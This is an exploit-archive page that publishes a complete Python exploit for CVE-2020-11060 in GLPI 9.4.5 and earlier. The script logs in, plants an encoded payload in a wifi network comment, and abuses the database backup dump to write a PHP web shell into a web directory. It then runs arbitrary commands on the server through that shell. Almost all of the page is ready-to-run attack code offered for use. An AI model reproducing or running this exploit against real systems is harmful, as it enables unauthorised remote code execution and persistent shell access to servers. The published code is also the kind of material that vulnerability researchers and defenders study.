exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

GLPI GZIP(Py3) 9.4.5 Remote Code Execution

GLPI GZIP(Py3) 9.4.5 Remote Code Execution
Posted Oct 10, 2023
Authored by Brian Peters, n3rada

GLPI GZIP(Py3) version 9.4.5 suffers from a remote code execution vulnerability.

tags | exploit, remote, code execution
SHA-256 | d74cf8537f275d34c7d00117050d40bcc1a705f5a2c246925088cbe66faa0edf

GLPI GZIP(Py3) 9.4.5 Remote Code Execution

Change Mirror Download
#!/usr/bin/env python3

#Exploit Title: GLPI GZIP(Py3) 9.4.5 - RCE
#Date: 08-30-2021
#Exploit Authors: Brian Peters & n3rada
#Vendor Homepage: https://glpi-project.org/
#Software Link: https://github.com/glpi-project/glpi/releases
#Version: 0.8.5-9.4.5
#Tested on: Exploit ran on Kali 2021. GLPI Ran on Windows 2019
#CVE: 2020-11060

# Built-in imports
import argparse
import random
import re
import string
from datetime import datetime

# Third party library imports
import requests
from lxml import html

# https://raw.githubusercontent.com/AlmondOffSec/PoCs/master/glpi_rce_gzip/poc.txt
PAYLOAD = ";)qRJ*_O88Ux-0cRlA`B]5y[r.no5bKUb2EzEW34O(K~.Oa}pO}1F956/fp@mz`oQqahP+@[/tiLy:]YBmFrRmc*Jt}VxM^@(9BeSTo|zQ}6d/zF|LOMqSy:Nk5hCLU.s-Tx;fHci?1],*9}r;,FmIDZ5^|0SNYjN}H7z{(fPe1}~6u8i^_S38:64w+Q6rg*h4PZ`;h)mB*IeUhRLk;~}OVB`:XTKPnT4XS9pzLrze,[^Y/qnP5KEEo6t+ydw7m,@S/:_dka*4BAXKk?NvSgcV41P~r0iGI?/}lXrvB+94e3/E]aEUPVKmgPE[[Dc@Vjy.2mW+if^)c@n8a[`qt-0,S+sDM+RSj_M0V(@,I)SLHZg*rjV4HTKyQo9-[6OL7xhZKQDx03?Tc{|wo32~*QHgH;{@SPcPJ+}tXPPS~-@g:I-Zo+nxo+Y,pFjX8(.;Xr:jD6fx2IXJUMw.m{F7(@RFA6XHS{c`v(W~[yFLMvfBxiP;a58,w`pWEuNtKE~@N.t9fRDOqh1o.^G@W/rr5S_?8Ar/c[Ok}e|:i]P:DUB^o7*pUp[F6hml-32MT)@ih/f`T/~^r(.[+fLPhrD4aBO8u/4gPlr-6.}Mz(OTmHSO8XYa]^3|.*ASPLaB.*gzLUX|4,W_|E|M7all3?XXJ}Cy)6:M2fgiT@155[y0)^@HUXC+Iui9+-z^5dTm*{W}jSB@p8o-fHF)0gsa83,AjbbX]l0I{}k?}[,I`SgGyfZi1c2T@~lTM]}8-{H3DuMFd5+iAr?g9~~0P)AU8u`nk?a()`T@L;UMa@{zS9h7HTD*D1W3x*KNAmk7NXX-s8uQumOY3TLKnN4ls?*sPS/gS^O(/[ctaJYlJ-16_XqifQR(U?a1L@|;^3GHPg?J*mY)+[i(l4GBKj5r6Pkv-QxzVhgKKu9G*6~V6T)DiUK.Pxfy*X*QADUIB`L*GMYh0k[Lpk8eBYheF2yli-Czv7{Z:A4TDYo?PzLk6K5[0*vDbn53oPA(Np|U|AKVSqe/^bP~lkxPcUWXC-jt{27G.Fu;W`uu+cjgo5]m39R:3csXshb_EJ[p2i5~RD0.ZDYUa^Ev@mbA._4F@uVRx/LjW2h{tEME;tYpE,e55a*|lJ./kE1n]v_{/U8uyX:L/5ifJ^^WkTZ/nVC@,7oY^mMPV(-9stYKZWyg9fGtj+R4]Q.:.J5[;;v+rCL:O[JBHZ)Nk8s4(nbS*K]VH8,;Ya9V/.CwXV0X/3Rd{*~QeP6rn4|?V2n6vC|WtAU1JKba-INX`wmYI@}h)BO,^NHERJF~rMF]oz1?aaJI@H0^K`WG*8auteXa3svOvIcSqF6q?eyNA2sr)ai;nczU02qrz?s@W}N|VQr/.}R27*B4bA8?LrrbbOsR/VG[]Fii/vC9v;R7z76H,:0Lb(,qr}8Q_|;KCQGg(|I2*X3Nk-@GC[[7d)055J,/8{/JmL/odlgA8-O|?1yw6QmJjZxb;j[cFdy/B]/t?CG/y}Qyq|.RtE(rJ``i9ZxQarkR_yKlz21}~vpl~eLSV1+l/gi;k(]GdS^FueL7VMRa}{B@JUOy4gXP-By:)-jktZfg~f]Gz?D:UVqSJTAn_zLUQqPNHATd(2.uFeQhoO.L]EknPP3NZiLa8z1,;j/{p}k/V3KU:dgB4K}-U@Qx)g1wRI*]YyI6V^Ibl^4a*vwB+8*EiD^TAau8|]NAL(4Bn}*N+AfjHLqYDdbIuhYdP`~W0K@eM}*kj)t9`H(}fTh_0M@2kgUIBX-4dx05+)hIXtX]YtG*Y*dakDk.}9ZQeiGLnChu(S+Nk{:ZMA/HXEGz5L^)5Dh6qno8:Im[{aL_,eaw[ictOZav,APv}oRjmXp)sUsW5my2gm5boX}e-jQ38N3@RUe)J^|QF[IrZG*MfGkRw;ZK+~/cL4M38aBX8b7::Qq;(H+}yMEQV0Esr~zmd|uL4E,q6DsaD~b9Z;J5{At(/fKvOmXTIXiY.*DT42z62gPyW1;Ev*8]@jp{KgYnj1RCocqe~*tvcbWC2CRpA*Gjz(msc*KtdmW?fBsxzc/tle?@gVzi9sTGAMTJi/flQtFVJF^/Ls|RK.lQ`/m42oVGkM`+~V~I@g(9]cRR,`~D;k~TtM3e|):*vAg@LH55{:d:x4QkVb^R{Rll+CKMxa,rzSxG+D)L?ePUCgwZiMp.FwZe^]3gZOmU0kcSR-sc?@lQa)+vAMW7B}k?pF84QoQVIDE[W*4kKn~/GBQ[1Eg;46MRTMO3V31g^8yqz)--JO}2i;(oBbtyNd0XkM+_luyJH_NuZ?tZu|5.+Z.(,7j*(87Xya]mdZr_w?SeC{bE0@5]Nit?tyby`,rI6}.@@[42X]C)K,Tq[q/~feVi1mJl(CxPz`:*ZKl]J2}L;7.*tzTCC(s-BWgD9GzQpk]r*AP_GEQ]Cit6GRCbe;yZ}nreK+2q-ZPDrs^-G29dS@m4/4q*GnabGJW}.oahC88:]m?2hJrpy){pGcOf|7o3lxDUkST*Lham4z4B~}H3uLN{-,~+32@m[l|Rur9|jU_WqKUh+(D6i2[:(sR*)nc(E-2y}Rq]:,VsMIv1dot0m)3@aAARUMNMDxSMsq+O|O]y?_T,QvgXRQrA6c+r`zDr9NpNb2Eoq/?M},HgicpE@/NIjt;Sf^MaW`e^1ADhFcXqe4,KMhu1~GG8dlEU1|wE9NIoxjC(g`cIFq0^rItTK76{h1[SJLCn*w(w|(7F0Fva+~y{yzn1D2x4c-lv?p}wu9pF.?tlaB8a_~zu/4U0~j1/N?{E}1IZ`I{AM@GW{h{Ot1Pb@W@0Ha+7O?N|?B)ti20MTJ0Pm*g-~j/9L;^ouu?-O3-hDNt^0g3w:X92bA}ag_sZrJ3{}b|A^r}y/f(T.2{s`t;t1FGp83bT7lFRE.1;uas;(LIyNJ3OsoC;~-K,MToT+~~AlkS(;i0Pob*.;6+,s|ae2(cP.sF@`Tps6_+heNE_kKNVXk{Od8ETI`}q5):F?gO~ZBjd7G}Iy*QOOSDlTQQ-WsKJCu7Q~vH}NotKuTpwO8;mEElVqQ,D,mw56)}c9/?aooObfp+NRG9(L}b2hm`U9TxFxE5y}Nw0,sSN-jcj6q[;6Q~Jd*@kknF]XNDt(3HQKdoRT;2mYoMlM}Rn^S{ekyqsT:OX1;z8pUxT-XE)o?gXqNV].hEYrr4`Hy:aDh^4K1^|OzS{]7dZ]]--(Lp?{AIlUyHGf09PKy@r?:Dx-COsMlWeCcSp*3v_W(PWJHex:o9Uf:2Zvvfhx*eFT:g{@o]3}Y)uLO,bcugjJ0v/hq(LKCnr/zowwK0bqaQ^.ka5nE0U7/9+aokofDSyi9E|BUa[9*3vkr9Jxg)3Sx6bY.d5sBGWK+8IYEzqlpj?7;j{l^;B2?u;+UAn}1J5C:1DbcV,U@_OLL{aLFY`cQA7JnL[Tz6j-U9qmVy7;706VP0R`6Zmn_aRZE/P)R~A9lYosxX4;[?9/|O?sJSXZoVvNgIH[-D?o}e]_T7GJPu6Vk,SY{P?)b5oiGsGV.0{@,4JuY0a7d(P)`YX1~Iq[]K,?lNe-V+}QGG}T^~2l)BX9khRsxJB(rf,ZVz)dtCU3Br.8.yu~gMo7aD/]m/xrH~i]^]A*HLgFFY/AlVqLTa17qm1qcU;W4x;8,^;*|TN(YYkm?0Xbvsy*{))pfUG02mvBXNeH;)OZJ~6Z`csCb)R:Ute]2Nj90K{`M;6V1+YKbM;B,O/*~g-ucwb2|`cOS?D8Rt]X}6FI^okmw4~PI({VX8;KYMJRv]w2Jc/udD@[wOQ,huX76iQ}HqSgdiTalFVdujJwcaof}Z1MbK{/d;2{RM3rDRF4OSZbN2t+:TW,,v5m+1nWQbaoR(54f-[^yv*GCyzGCN^M9d@.VL4:^[/}6kUcCSz?`J*.CiqjJjQJkZkGxY}u*shO4x38t+`FW};|Go2HRAsSHJJN@``HVmacO[rn|Q+1{hA3yqEg.sL+5S)_Ol5|,kM@RET,7f[k;Xi?Mal?ZnK,*_NQWZy+cr^Cf9RA^Nv5|a@Jp2bD*HT`+Po2laU]LK,1z]LRk_-~keiS^Y8:Zh`.W}LNH`C8fzT/zv2XE

requests.packages.urllib3.disable_warnings()


class GlpiBrowser:
"""_summary_"""

def __init__(self, url: str, user: str, password: str, platform: str):
"""
Initialize the GlpiBrowser with required attributes.

Args:
url (str): The URL of the target GLPI instance.
user (str): The username for authentication.
password (str): The password for authentication.
platform (str): The platform of the target (either 'windows' or 'unix').
"""
self.__url = url
self.__user = user
self.__password = password

self.accessible_directory = "pics"

if "win" in platform.lower():
self.__platform = "windows"
else:
self.__platform = "unix"

self.__session = requests.Session()
self.__session.verify = False

self.__shell_name = None

print(f"[+] {self!s}")

# Dunders
def __repr__(self) -> str:
"""Return a machine-readable representation of the browser instance."""
return f"<GlpiBrowser(url={self.__url!r}, user={self.__user!r}), password={self.__password!r}, plateform={self.__platform!r}>"

def __str__(self) -> str:
"""Return a human-readable representation of the browser instance."""
return f"GLPI Browser targeting {self.__url!r} ({self.__platform!r}) with following credentials: {self.__user!r}:{self.__password!r}."

# Public methods
def is_alive(self) -> bool:
"""
Check if the target GLPI instance is alive and responding.

Returns:
bool: True if the GLPI instance is up and responding, otherwise False.
"""
try:
self.__session.get(url=self.__url, timeout=3)
except Exception as error:
print(f"[-] Impossible to reach the target.")
print(f"[x] Root cause: {error}")
return False
else:
print(f"[+] Target is up and responding.")
return True

def login(self) -> bool:
"""
Attempt to login to the GLPI instance with provided credentials.

Returns:
bool: True if login is successful, otherwise False.
"""
html_text = self.__session.get(url=self.__url, allow_redirects=True).text
csrf_token = self.__extract_csrf(html=html_text)
name_field = re.search(r'name="(.*)" id="login_name"', html_text).group(1)
pass_field = re.search(r'name="(.*)" id="login_password"', html_text).group(1)

login_request = self.__session.post(
url=f"{self.__url}/front/login.php",
data={
name_field: self.__user,
pass_field: self.__password,
"auth": "local",
"submit": "Post",
"_glpi_csrf_token": csrf_token,
},
allow_redirects=False,
)

return login_request.status_code == 302

def create_network(self, datemod: str) -> None:
"""
Create a new network with the specified attributes.

Args:
datemod (str): The timestamp indicating when the network was modified.
"""
creation_request = self.__session.post(
f"{self.__url}/front/wifinetwork.form.php",
data={
"entities_id": "0",
"is_recursive": "0",
"name": "PoC",
"comment": PAYLOAD,
"essid": "RCE",
"mode": "ad-hoc",
"add": "ADD",
"_glpi_csrf_token": self.__extract_csrf(
self.__session.get(f"{self.__url}/front/wifinetwork.php").text
),
"_read_date_mod": datemod,
},
)

if creation_request.status_code == 302:
print("[+] Network created")

def wipe_networks(self, padding, datemod):
"""
Wipe all networks.

Args:
padding (str): Padding string for ESSID.
datemod (str): The timestamp indicating when the network was modified.
"""
print("[*] Wiping networks...")
all_networks_request = self.__session.get(
f"{self.__url}/front/wifinetwork.php#modal_massaction_contentb5e83b3aa28f203595c34c5dbcea85c9"
)

webpage = html.fromstring(all_networks_request.content)

for rawlink in set(
link
for link in webpage.xpath("//a/@href")
if "wifinetwork.form.php?id=" in link
):
network_id = rawlink.split("=")[-1]
print(f"\tDeleting network id: {network_id}")

self.__session.post(
f"{self.__url}/front/wifinetwork.form.php",
data={
"entities_id": "0",
"is_recursive": "0",
"name": "PoC",
"comment": PAYLOAD,
"essid": "RCE" + padding,
"mode": "ad-hoc",
"purge": "Delete permanently",
"id": network_id,
"_glpi_csrf_token": self.__extract_csrf(all_networks_request.text),
"_read_date_mod": datemod,
},
)

def edit_network(self, padding: str, datemod: str) -> None:
"""_summary_

options:
padding (str): _description_
datemod (str): _description_
"""
print("[+] Modifying network")
for rawlink in set(
link
for link in html.fromstring(
self.__session.get(f"{self.__url}/front/wifinetwork.php").content
).xpath("//a/@href")
if "wifinetwork.form.php?id=" in link
):
# edit the network name and essid
self.__session.post(
f"{self.__url}/front/wifinetwork.form.php",
data={
"entities_id": "0",
"is_recursive": "0",
"name": "PoC",
"comment": PAYLOAD,
"essid": f"RCE{padding}",
"mode": "ad-hoc",
"update": "Save",
"id": rawlink.split("=")[-1],
"_glpi_csrf_token": self.__extract_csrf(
self.__session.get(
f"{self.__url}/front/{rawlink.split('/')[-1]}"
).text
),
"_read_date_mod": datemod,
},
)

print(f"\tNew ESSID: RCE{padding}")

def create_dump(self, wifi_table_offset: str = None):
"""
Initiates a dump request to the server.

Args:
wifi_table_offset (str, optional): The offset for the 'wifi_networks' table. Defaults to '310'.

Note:
Adjust the offset number to match the table number for wifi_networks.
This can be found by downloading a SQL dump and running:
zgrep -n "CREATE TABLE" glpi-backup-*.sql.gz | grep -n wifinetworks
"""
dump_target = f"{self.path}{self.__shell_name}"
print(f"[*] Dumping the database remotely at: {dump_target}")
self.__session.get(
f"{self.__url}/front/backup.php?dump=dump&offsettable={wifi_table_offset or '310'}&fichier={dump_target}"
)

print(f"[+] File 'dumped', accessible at: {self.shell_path}")

def upload_rce(self, wifi_table_offset: str = None) -> str:
"""
Uploads the RCE (Remote Code Execution) shell to the target.

Args:
wifi_table_offset (str, optional): The offset for the 'wifi_networks' table.

Returns:
str: A status message indicating the outcome of the upload.
"""
if not self.login():
print("[-] Login error")
return

print(f"[+] User {self.__user!r} is logged in.")

# create timestamp
datemod = datetime.now().strftime("%Y-%m-%d %H:%M:%S")

tick = 1
while True:
print("-" * 25 + f" trial number {tick} " + "-" * 25)

# create padding for ESSID
padding = "e" * tick

self.wipe_networks(padding, datemod)
self.create_network(datemod)
self.edit_network(padding, datemod)

self.__shell_name = (
"".join(random.choice(string.ascii_letters) for _ in range(8)) + ".php"
)

print(f"[+] Current shellname: {self.__shell_name}")

self.create_dump(wifi_table_offset)
if self.__shell_check():
break

tick += 1

print("-" * 66)
print(f"[+] RCE found after {tick} trials!")

# Private methods
def __extract_csrf(self, html: str):
"""Extract CSRF token from the provided HTML content."""
return re.search(
pattern=r'name="_glpi_csrf_token" value="([a-f0-9]{32})"', string=html
).group(1)

def __shell_check(self) -> bool:
"""Check if the uploaded shell is active and responding correctly."""
r = self.__session.get(
url=self.shell_path,
params={"0": "echo HERE"},
)
shell_size = len(r.content)
print(f"[+] Shell size: {shell_size!s}")
if shell_size < 50:
print("[x] Too small, there is a problem with the choosen offset.")
return False

return b"HERE" in r.content

# Properties
@property
def path(self):
"""With this property, every time you access self.path, it will dynamically generate and return the path string based on the current value of self.accessible_directory. This way, it will always be a "direct reference" to the value of self.accessible_directory."""
if "win" in self.__platform.lower():
return f"C:\\xampp\\htdocs\\{self.accessible_directory}\\"
else:
return f"/var/www/html/glpi/{self.accessible_directory}/"

@property
def shell_path(self) -> str:
"""Generate the complete path to the uploaded shell."""
return f"{self.__url}/{self.accessible_directory}/{self.__shell_name}"


def execute(
url: str,
command: str,
timeout: float = None,
) -> str:
"""
Executes a given command on a remote server through a web shell.

This function assumes a web shell has been previously uploaded to the target
server and sends a request to execute the provided command. It uses a unique
delimiter ("HoH") to ensure that the command output can be parsed and
returned without any additional data.

Args:
url (str): The URL where the web shell is located on the target server.
command (str): The command to be executed on the target server.
timeout (float, optional): Maximum time, in seconds, for the request
to the server. Defaults to None, meaning no timeout.

Returns:
str: The output of the executed command. Returns None if the URL or
command is not provided.
"""
if url is None or command is None:
return

command = f"echo HoH&&{command}&&echo HoH"

response = requests.get(
url=url,
params={
"0": command,
},
timeout=timeout,
verify=False,
)

# Use regex to find the content between "HoH" delimiters
if match := re.search(
pattern=r"HoH(.*?)HoH", string=response.text, flags=re.DOTALL
):
return match.group(1).strip()


def main() -> None:
parser = argparse.ArgumentParser()
parser.add_argument("--url", help="Target URL.", required=True)
parser.add_argument("--user", help="Username.", default=None)
parser.add_argument("--password", help="Password.", default=None)
parser.add_argument("--platform", help="Target OS (windows/unix).", default=None)
parser.add_argument(
"--offset", help="Offset for table wifi_networks.", default=None
)
parser.add_argument(
"--dir",
help="Accessible directory on the target.",
default="sound",
required=False,
) # "sound" as default directory

parser.add_argument("--command", help="Command to execute via RCE.", default=None)

options = parser.parse_args()

if options.command:
# We assume the given URL is the shell path if a command is provided.

try:
response = execute(url=options.url, command=options.command, timeout=5)
except TimeoutError:
print(f"[x] Timeout received form target. Maybe your command failed.")
else:
print(f"[*] Response received from {options.url!r}:")
print(response)
finally:
return

target = GlpiBrowser(
options.url,
user=options.user,
password=options.password,
platform=options.platform,
)

if not target.is_alive():
return

target.accessible_directory = options.dir
target.upload_rce(wifi_table_offset=options.offset)

print(
f"[+] You can execute command remotely as: {execute(url=target.shell_path, command='whoami').strip()}@{execute(url=target.shell_path, command='hostname').strip()}"
)
print("[+] Run this tool again with the desired command to inject:")
print(
f"\tpython3 CVE-2020-11060.py --url '{target.shell_path}' --command 'desired_command_here'"
)


if __name__ == "__main__":
main()


Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close